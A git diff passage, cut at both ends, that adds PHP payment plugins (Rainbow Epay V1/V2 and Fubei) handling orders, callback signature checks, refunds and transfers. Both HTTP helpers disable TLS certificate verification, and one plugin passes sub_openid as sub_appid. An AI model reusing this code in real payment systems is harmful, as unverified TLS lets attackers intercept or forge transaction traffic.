if($channel['appswitch']==1){ + $typename = $order['typename']; + return self::$typename(); + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + } + + static private function getDevice(){ + if (checkwechat()) { + $device = 'wechat'; + }elseif (checkmobbileqq()) { + $device = 'qq'; + }elseif (checkalipay()) { + $device = 'alipay'; + }elseif (checkmobile()) { + $device = 'mobile'; + }else{ + $device = 'pc'; + } + return $device; + } + + //mapi接口下单 + static private function pay_mapi($type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + $parameter = array( + "pid" => trim($epay_config['pid']), + "type" => $type, + "device" => self::getDevice(), + "clientip" => $clientip, + "notify_url" => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + "return_url" => $siteurl.'pay/return/'.TRADE_NO.'/', + "out_trade_no" => TRADE_NO, + "name" => $order['name'], + "money" => $order['realmoney'] + ); + //建立请求 + $epay = new EpayCore($epay_config); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($epay, $parameter) { + $result = $epay->apiPay($parameter); + + if(isset($result['code']) && $result['code']==1){ + if($result['payurl']){ + $method = 'jump'; + $url = $result['payurl']; + }elseif($result['qrcode']){ + $method = 'qrcode'; + $url = $result['qrcode']; + }elseif($result['urlscheme']){ + $method = 'scheme'; + $url = $result['urlscheme']; + }else{ + throw new Exception('未返回支付链接'); + } + }elseif(isset($result['msg'])){ + throw new Exception($result['msg']); + }else{ + throw new Exception('获取支付接口数据失败'); + } + return [$method, $url]; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + list($method, $url) = self::pay_mapi('alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$url]; + } + } + + //微信扫码支付 + static public function wxpay(){ + try{ + list($method, $url) = self::pay_mapi('wxpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }elseif($method == 'scheme'){ + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$url]; + }else{ + if(checkwechat()){ + return ['type'=>'jump','url'=>$url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$url]; + } + } + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + list($method, $url) = self::pay_mapi('qqpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }else{ + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$url]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$url]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$url]; + } + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + list($method, $url) = self::pay_mapi('bank'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }else{ + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$url]; + } + } + + //京东支付 + static public function jdpay(){ + try{ + list($method, $url) = self::pay_mapi('jdpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }else{ + return ['type'=>'qrcode','page'=>'jdpay_qrcode','url'=>$url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + + //计算得出通知验证结果 + $epayNotify = new EpayCore($epay_config); + $verify_result = $epayNotify->verifyNotify(); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //易支付交易号 + $trade_no = $_GET['trade_no']; + + //交易金额 + $money = $_GET['money']; + + if ($_GET['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + + //计算得出通知验证结果 + $epayNotify = new EpayCore($epay_config); + $verify_result = $epayNotify->verifyReturn(); + if($verify_result) { + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //易支付交易号 + $trade_no = $_GET['trade_no']; + + //交易金额 + $money = $_GET['money']; + + if($_GET['trade_status'] == 'TRADE_SUCCESS') { + if ($out_trade_no == TRADE_NO && round($money, 2)==round($order['realmoney'], 2)) { + processReturn($order, $trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + }else{ + return ['type'=>'error','msg'=>'trade_status='.$_GET['trade_status']]; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'验证失败!']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + + $epay = new EpayCore($epay_config); + $result = $epay->refund($order['refund_no'], $order['api_trade_no'], $order['refundmoney']); + + if($result['code'] == 0){ + return ['code'=>0]; + }else{ + return ['code'=>-1, 'msg'=>$result['msg']?$result['msg']:'返回数据解密失败']; + } + } + +} \ No newline at end of file diff --git a/plugins/epay/inc/EpayCore.class.php b/plugins/epay/inc/EpayCore.class.php new file mode 100644 index 0000000..4554ec1 --- /dev/null +++ b/plugins/epay/inc/EpayCore.class.php @@ -0,0 +1,154 @@ +pid = $config['pid']; + $this->key = $config['key']; + $this->submit_url = $config['apiurl'].'submit.php'; + $this->mapi_url = $config['apiurl'].'mapi.php'; + $this->api_url = $config['apiurl'].'api.php'; + } + + // 发起支付(页面跳转) + public function pagePay($param_tmp, $button='正在跳转'){ + $param = $this->buildRequestParam($param_tmp); + + $html = '
    '; + foreach ($param as $k=>$v) { + $html.= ''; + } + $html .= '
    '; + + return $html; + } + + // 发起支付(获取链接) + public function getPayLink($param_tmp){ + $param = $this->buildRequestParam($param_tmp); + $url = $this->submit_url.'?'.http_build_query($param); + return $url; + } + + // 发起支付(API接口) + public function apiPay($param_tmp){ + $param = $this->buildRequestParam($param_tmp); + $response = $this->getHttpResponse($this->mapi_url, http_build_query($param)); + $arr = json_decode($response, true); + return $arr; + } + + // 异步回调验证 + public function verifyNotify(){ + if(empty($_GET)) return false; + + $sign = $this->getSign($_GET); + + if($sign === $_GET['sign']){ + $signResult = true; + }else{ + $signResult = false; + } + + return $signResult; + } + + // 同步回调验证 + public function verifyReturn(){ + if(empty($_GET)) return false; + + $sign = $this->getSign($_GET); + + if($sign === $_GET['sign']){ + $signResult = true; + }else{ + $signResult = false; + } + + return $signResult; + } + + // 查询订单支付状态 + public function orderStatus($trade_no){ + $result = $this->queryOrder($trade_no); + if($result['status']==1){ + return true; + }else{ + return false; + } + } + + // 查询订单 + public function queryOrder($trade_no){ + $url = $this->api_url.'?act=order&pid=' . $this->pid . '&key=' . $this->key . '&trade_no=' . $trade_no; + $response = $this->getHttpResponse($url); + $arr = json_decode($response, true); + return $arr; + } + + // 订单退款 + public function refund($refund_no, $trade_no, $money){ + $url = $this->api_url.'?act=refund'; + $post = 'pid=' . $this->pid . '&key=' . $this->key . '&refund_no=' . $refund_no . '&trade_no=' . $trade_no . '&money=' . $money; + $response = $this->getHttpResponse($url, $post); + $arr = json_decode($response, true); + return $arr; + } + + private function buildRequestParam($param){ + $mysign = $this->getSign($param); + $param['sign'] = $mysign; + $param['sign_type'] = $this->sign_type; + return $param; + } + + // 计算签名 + private function getSign($param){ + ksort($param); + reset($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $k != "sign_type" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr = substr($signstr,0,-1); + $signstr .= $this->key; + $sign = md5($signstr); + return $sign; + } + + // 请求外部资源 + private function getHttpResponse($url, $post = false, $timeout = 10){ + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Connection: close"; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + if($post){ + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $post); + } + $response = curl_exec($ch); + curl_close($ch); + return $response; + } +} diff --git a/plugins/epay/inc/epay.config.php b/plugins/epay/inc/epay.config.php new file mode 100644 index 0000000..c650c67 --- /dev/null +++ b/plugins/epay/inc/epay.config.php @@ -0,0 +1,13 @@ + 'epayn', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '彩虹易支付V2', //支付插件显示名称 + 'author' => '彩虹', //支付插件作者 + 'link' => '', //支付插件作者链接 + 'types' => ['alipay','qqpay','wxpay','bank','jdpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['alipay','wxpay','qqpay','bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appurl' => [ + 'name' => '接口地址', + 'type' => 'input', + 'note' => '必须以http://或https://开头,以/结尾', + ], + 'appid' => [ + 'name' => '商户ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '平台公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appswitch' => [ + 'name' => '是否使用mapi接口', + 'type' => 'select', + 'options' => [0=>'否',1=>'是'], + ], + ], + 'select' => null, + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $conf; + + if($channel['appswitch']==1){ + return ['type'=>'jump','url'=>'/pay/'.$order['typename'].'/'.TRADE_NO.'/']; + }else{ + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + $params = [ + "type" => $order['typename'], + "notify_url" => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + "return_url" => $siteurl.'pay/return/'.TRADE_NO.'/', + "out_trade_no" => TRADE_NO, + "name" => $order['name'], + "money" => $order['realmoney'] + ]; + + $epay = new EpayCore($epay_config); + if(is_https() && substr($epay_config['apiurl'],0,7)=='http://'){ + $jump_url = $epay->getPayLink($params); + return ['type'=>'jump','url'=>$jump_url]; + }else{ + $html_text = $epay->pagePay($params, '正在跳转'); + return ['type'=>'html','data'=>$html_text]; + } + + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($channel['appswitch']==1){ + $typename = $order['typename']; + return self::$typename(); + }else{ + return ['type'=>'jump','url'=>$siteurl.'pay/submit/'.TRADE_NO.'/']; + } + } + + static private function getDevice(){ + if (checkwechat()) { + $device = 'wechat'; + }elseif (checkmobbileqq()) { + $device = 'qq'; + }elseif (checkalipay()) { + $device = 'alipay'; + }elseif (checkmobile()) { + $device = 'mobile'; + }else{ + $device = 'pc'; + } + return $device; + } + + //统一下单接口 + static private function pay_mapi($method, $type, $auth_code = null, $sub_openid = null, $sub_appid = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + $params = [ + "method" => $method, + "type" => $type, + "device" => self::getDevice(), + "clientip" => $clientip, + "notify_url" => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + "return_url" => $siteurl.'pay/return/'.TRADE_NO.'/', + "out_trade_no" => TRADE_NO, + "name" => $order['name'], + "money" => $order['realmoney'] + ]; + if($auth_code) $params['auth_code'] = $auth_code; + if($sub_openid) $params['sub_openid'] = $sub_openid; + if($sub_appid) $params['sub_appid'] = $sub_openid; + + $epay = new EpayCore($epay_config); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($epay, $params) { + $result = $epay->apiPay($params); + return [$result['pay_type'], $result['pay_info']]; + }); + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + list($method, $url) = self::pay_mapi('web','alipay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }elseif($method == 'html'){ + return ['type'=>'html','data'=>$url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$url]; + } + } + + //微信扫码支付 + static public function wxpay(){ + try{ + list($method, $url) = self::pay_mapi('web','wxpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }elseif($method == 'html'){ + return ['type'=>'html','data'=>$url]; + }elseif($method == 'urlscheme'){ + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$url]; + }else{ + if(checkwechat()){ + return ['type'=>'jump','url'=>$url]; + } elseif (checkmobile()) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$url]; + } + } + } + + //QQ扫码支付 + static public function qqpay(){ + try{ + list($method, $url) = self::pay_mapi('web','qqpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }elseif($method == 'html'){ + return ['type'=>'html','data'=>$url]; + }else{ + if(checkmobbileqq()){ + return ['type'=>'jump','url'=>$url]; + } elseif(checkmobile() && !isset($_GET['qrcode'])){ + return ['type'=>'qrcode','page'=>'qqpay_wap','url'=>$url]; + } else { + return ['type'=>'qrcode','page'=>'qqpay_qrcode','url'=>$url]; + } + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + list($method, $url) = self::pay_mapi('web','bank'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }elseif($method == 'html'){ + return ['type'=>'html','data'=>$url]; + }else{ + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$url]; + } + } + + //京东支付 + static public function jdpay(){ + try{ + list($method, $url) = self::pay_mapi('web','jdpay'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>$ex->getMessage()]; + } + + if($method == 'jump'){ + return ['type'=>'jump','url'=>$url]; + }elseif($method == 'html'){ + return ['type'=>'html','data'=>$url]; + }else{ + return ['type'=>'qrcode','page'=>'jdpay_qrcode','url'=>$url]; + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + + //计算得出通知验证结果 + $epayNotify = new EpayCore($epay_config); + $verify_result = $epayNotify->verify($_GET); + + if($verify_result) {//验证成功 + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //易支付交易号 + $trade_no = $_GET['trade_no']; + + //交易金额 + $money = $_GET['money']; + + //支付人账号 + $buyer = $_GET['buyer']; + + $api_trade_no = $_GET['api_trade_no']; + + if ($_GET['trade_status'] == 'TRADE_SUCCESS') { + if($out_trade_no == TRADE_NO && round($money,2)==round($order['realmoney'],2)){ + processNotify($order, $trade_no, $buyer, $api_trade_no); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + + //计算得出通知验证结果 + $epayNotify = new EpayCore($epay_config); + $verify_result = $epayNotify->verify($_GET); + if($verify_result) { + //商户订单号 + $out_trade_no = $_GET['out_trade_no']; + + //易支付交易号 + $trade_no = $_GET['trade_no']; + + //交易金额 + $money = $_GET['money']; + + //支付人账号 + $buyer = $_GET['buyer']; + + $api_trade_no = $_GET['api_trade_no']; + + if($_GET['trade_status'] == 'TRADE_SUCCESS') { + if ($out_trade_no == TRADE_NO && round($money, 2)==round($order['realmoney'], 2)) { + processReturn($order, $trade_no, $buyer, $api_trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + }else{ + return ['type'=>'error','msg'=>'trade_status='.$_GET['trade_status']]; + } + } + else { + //验证失败 + return ['type'=>'error','msg'=>'验证失败!']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/epay.config.php"); + require(PAY_ROOT."inc/EpayCore.class.php"); + + $epay = new EpayCore($epay_config); + try{ + $result = $epay->refund($order['refund_no'], $order['api_trade_no'], $order['refundmoney']); + return ['code'=>0, 'trade_no'=>$result['refund_no'], 'refund_fee'=>$result['money']]; + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //转账 + static public function transfer($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT."epayn/inc/epay.config.php"); + require(PLUGIN_ROOT."epayn/inc/EpayCore.class.php"); + + $params = [ + 'type' => $bizParam['type'], + 'account' => $bizParam['payee_account'], + 'name' => $bizParam['payee_real_name'], + 'money' => $bizParam['money'], + 'remark' => $bizParam['transfer_desc'], + 'out_biz_no' => $bizParam['out_biz_no'], + ]; + $epay = new EpayCore($epay_config); + try{ + $result = $epay->execute('api/transfer/submit', $params); + if(isset($result['jumpurl'])){ + return ['code'=>0, 'status'=>$result['status'], 'orderid'=>$result['out_biz_no'], 'paydate'=>$result['paydate'], 'wxpackage'=>$result['jumpurl']]; + }else{ + return ['code'=>0, 'status'=>$result['status'], 'orderid'=>$result['out_biz_no'], 'paydate'=>$result['paydate']]; + } + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PLUGIN_ROOT."epayn/inc/epay.config.php"); + require(PLUGIN_ROOT."epayn/inc/EpayCore.class.php"); + + $params = [ + 'out_biz_no' => $bizParam['out_biz_no'], + ]; + $epay = new EpayCore($epay_config); + try{ + $result = $epay->execute('api/transfer/query', $params); + return ['code'=>0, 'status'=>$result['status'], 'amount'=>$result['amount'], 'paydate'=>$result['paydate'], 'errmsg'=>$result['errmsg']]; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //余额查询 + static public function balance_query($channel, $bizParam){ + if(empty($channel))exit(); + + require(PLUGIN_ROOT."epayn/inc/epay.config.php"); + require(PLUGIN_ROOT."epayn/inc/EpayCore.class.php"); + + $params = [ + 'out_biz_no' => $bizParam['out_biz_no'], + ]; + $epay = new EpayCore($epay_config); + try{ + $result = $epay->execute('api/transfer/balance', $params); + return ['code'=>0, 'amount'=>$result['available_money']]; + }catch(Exception $e){ + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } +} \ No newline at end of file diff --git a/plugins/epayn/inc/EpayCore.class.php b/plugins/epayn/inc/EpayCore.class.php new file mode 100644 index 0000000..06e54f7 --- /dev/null +++ b/plugins/epayn/inc/EpayCore.class.php @@ -0,0 +1,199 @@ +apiurl = $config['apiurl']; + $this->pid = $config['pid']; + $this->platform_public_key = $config['platform_public_key']; + $this->merchant_private_key = $config['merchant_private_key']; + } + + // 发起支付(页面跳转) + public function pagePay($param_tmp, $button='正在跳转'){ + $requrl = $this->apiurl.'api/pay/submit'; + $param = $this->buildRequestParam($param_tmp); + + $html = '
    '; + foreach ($param as $k=>$v) { + $html.= ''; + } + $html .= '
    '; + + return $html; + } + + // 发起支付(获取链接) + public function getPayLink($param_tmp){ + $requrl = $this->apiurl.'api/pay/submit'; + $param = $this->buildRequestParam($param_tmp); + $url = $requrl.'?'.http_build_query($param); + return $url; + } + + // 发起支付(API接口) + public function apiPay($params){ + return $this->execute('api/pay/create', $params); + } + + // 发起API请求 + public function execute($path, $params){ + $path = ltrim($path, '/'); + $requrl = $this->apiurl.$path; + $param = $this->buildRequestParam($params); + $isMultipart = false; + foreach ($param as $v) { + if($v instanceof \CURLFile){ + $isMultipart = true; + break; + } + } + $response = $this->getHttpResponse($requrl, $isMultipart ? $param : http_build_query($param)); + $arr = json_decode($response, true); + if($arr && $arr['code'] == 0){ + if(!$this->verify($arr)){ + throw new \Exception('返回数据验签失败'); + } + return $arr; + }else{ + throw new \Exception($arr ? $arr['msg'] : '请求失败'); + } + } + + // 回调验证 + public function verify($arr){ + if(empty($arr) || empty($arr['sign'])) return false; + + if(empty($arr['timestamp']) || abs(time() - $arr['timestamp']) > 300) return false; + + $sign = $arr['sign']; + + return $this->rsaPublicVerify($this->getSignContent($arr), $sign); + } + + // 查询订单支付状态 + public function orderStatus($trade_no){ + $result = $this->queryOrder($trade_no); + if($result && $result['status']==1){ + return true; + }else{ + return false; + } + } + + // 查询订单 + public function queryOrder($trade_no){ + $params = [ + 'trade_no' => $trade_no, + ]; + return $this->execute('api/pay/query', $params); + } + + // 订单退款 + public function refund($out_refund_no, $trade_no, $money){ + $params = [ + 'trade_no' => $trade_no, + 'money' => $money, + 'out_refund_no' => $out_refund_no, + ]; + return $this->execute('api/pay/refund', $params); + } + + // 订单退款查询 + public function refundquery($out_refund_no){ + $params = [ + 'out_refund_no' => $out_refund_no, + ]; + return $this->execute('api/pay/refundquery', $params); + } + + private function buildRequestParam($params){ + $params['pid'] = $this->pid; + $params['timestamp'] = time().''; + $mysign = $this->getSign($params); + $params['sign'] = $mysign; + $params['sign_type'] = $this->sign_type; + return $params; + } + + // 生成签名 + private function getSign($params){ + return $this->rsaPrivateSign($this->getSignContent($params)); + } + + // 获取待签名字符串 + private function getSignContent($params){ + ksort($params); + $signstr = ''; + foreach ($params as $k => $v) { + if($v instanceof \CURLFile || is_array($v) || $this->isEmpty($v) || $k == 'sign' || $k == 'sign_type') continue; + $signstr .= '&' . $k . '=' . $v; + } + $signstr = substr($signstr, 1); + return $signstr; + } + + private function isEmpty($value) + { + return $value === null || trim($value) === ''; + } + + // 商户私钥签名 + private function rsaPrivateSign($data){ + $key = "-----BEGIN PRIVATE KEY-----\n" . + wordwrap($this->merchant_private_key, 64, "\n", true) . + "\n-----END PRIVATE KEY-----"; + $privatekey = openssl_get_privatekey($key); + if(!$privatekey){ + throw new \Exception('签名失败,商户私钥错误'); + } + openssl_sign($data, $sign, $privatekey, OPENSSL_ALGO_SHA256); + return base64_encode($sign); + } + + // 平台公钥验签 + private function rsaPublicVerify($data, $sign){ + $key = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->platform_public_key, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $publickey = openssl_get_publickey($key); + if (!$publickey) { + throw new \Exception("验签失败,平台公钥错误"); + } + $result = openssl_verify($data, base64_decode($sign), $publickey, OPENSSL_ALGO_SHA256); + return $result === 1; + } + + // 请求外部资源 + private function getHttpResponse($url, $post = false, $timeout = 10){ + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $httpheader[] = "Accept: */*"; + $httpheader[] = "Accept-Language: zh-CN,zh;q=0.8"; + $httpheader[] = "Connection: close"; + curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + if($post){ + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $post); + } + $response = curl_exec($ch); + curl_close($ch); + return $response; + } +} diff --git a/plugins/epayn/inc/epay.config.php b/plugins/epayn/inc/epay.config.php new file mode 100644 index 0000000..8326218 --- /dev/null +++ b/plugins/epayn/inc/epay.config.php @@ -0,0 +1,18 @@ + $channel['appurl'], + + //商户ID + 'pid' => $channel['appid'], + + //平台公钥 + 'platform_public_key' => $channel['appkey'], + + //商户私钥 + 'merchant_private_key' => $channel['appsecret'], +]; \ No newline at end of file diff --git a/plugins/fubei/fubei_plugin.php b/plugins/fubei/fubei_plugin.php new file mode 100644 index 0000000..ae0c41a --- /dev/null +++ b/plugins/fubei/fubei_plugin.php @@ -0,0 +1,361 @@ + 'fubei', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '付呗聚合支付', //支付插件显示名称 + 'author' => '付呗', //支付插件作者 + 'link' => 'https://www.51fubei.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '开放平台ID', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '接口密钥', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '门店ID', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'note' => '如果是微信支付,需要配置绑定AppId和支付目录', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay()){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if(checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method == 'applet'){ + return self::wxplugin(); + } + elseif($order['typename']=='alipay'){ + if($mdevice=='alipay'){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }else{ + return self::wxpay(); + } + } + } + + //下单通用 + static private function addOrder($pay_type, $user_id, $sub_appid = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once(PAY_ROOT.'inc/FubeiClient.class.php'); + + $bizContent = [ + 'merchant_order_sn' => TRADE_NO, + 'pay_type' => $pay_type, + 'total_amount' => $order['realmoney'], + 'store_id' => $channel['appmchid'], + 'user_id' => $user_id, + 'body' => $ordername, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + ]; + if($sub_appid) $bizContent['sub_appid'] = $sub_appid; + + $client = new FubeiClient($channel['appid'], $channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $bizContent) { + $retData = $client->execute('fbpay.order.create', $bizContent); + return $retData; + }); + } + + //支付宝H5下单 + static private function alipayH5(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once(PAY_ROOT.'inc/FubeiClient.class.php'); + + $bizContent = [ + 'merchant_order_sn' => TRADE_NO, + 'total_amount' => $order['realmoney'], + 'store_id' => $channel['appmchid'], + 'body' => $ordername, + 'user_ip' => $clientip, + 'notify_url' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'return_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + ]; + + $client = new FubeiClient($channel['appid'], $channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $bizContent) { + $retData = $client->execute('fbpay.order.wap.create', $bizContent); + return $retData; + }); + } + + //获取微信网页授权url + static private function getWechatAuthUrl(){ + global $siteurl, $channel; + + require_once(PAY_ROOT.'inc/FubeiClient.class.php'); + + $url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + $bizContent = [ + 'url' => $url, + 'store_id' => $channel['appmchid'], + ]; + $client = new FubeiClient($channel['appid'], $channel['appkey']); + $retData = $client->execute('openapi.agent.merchant.wechat.payment.auth', $bizContent); + return $retData['authUrl']; + } + + //支付宝扫码支付 + static public function alipay(){ + global $siteurl; + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //支付宝JS支付 + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + try{ + $retData = self::addOrder('alipay', $user_id); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + 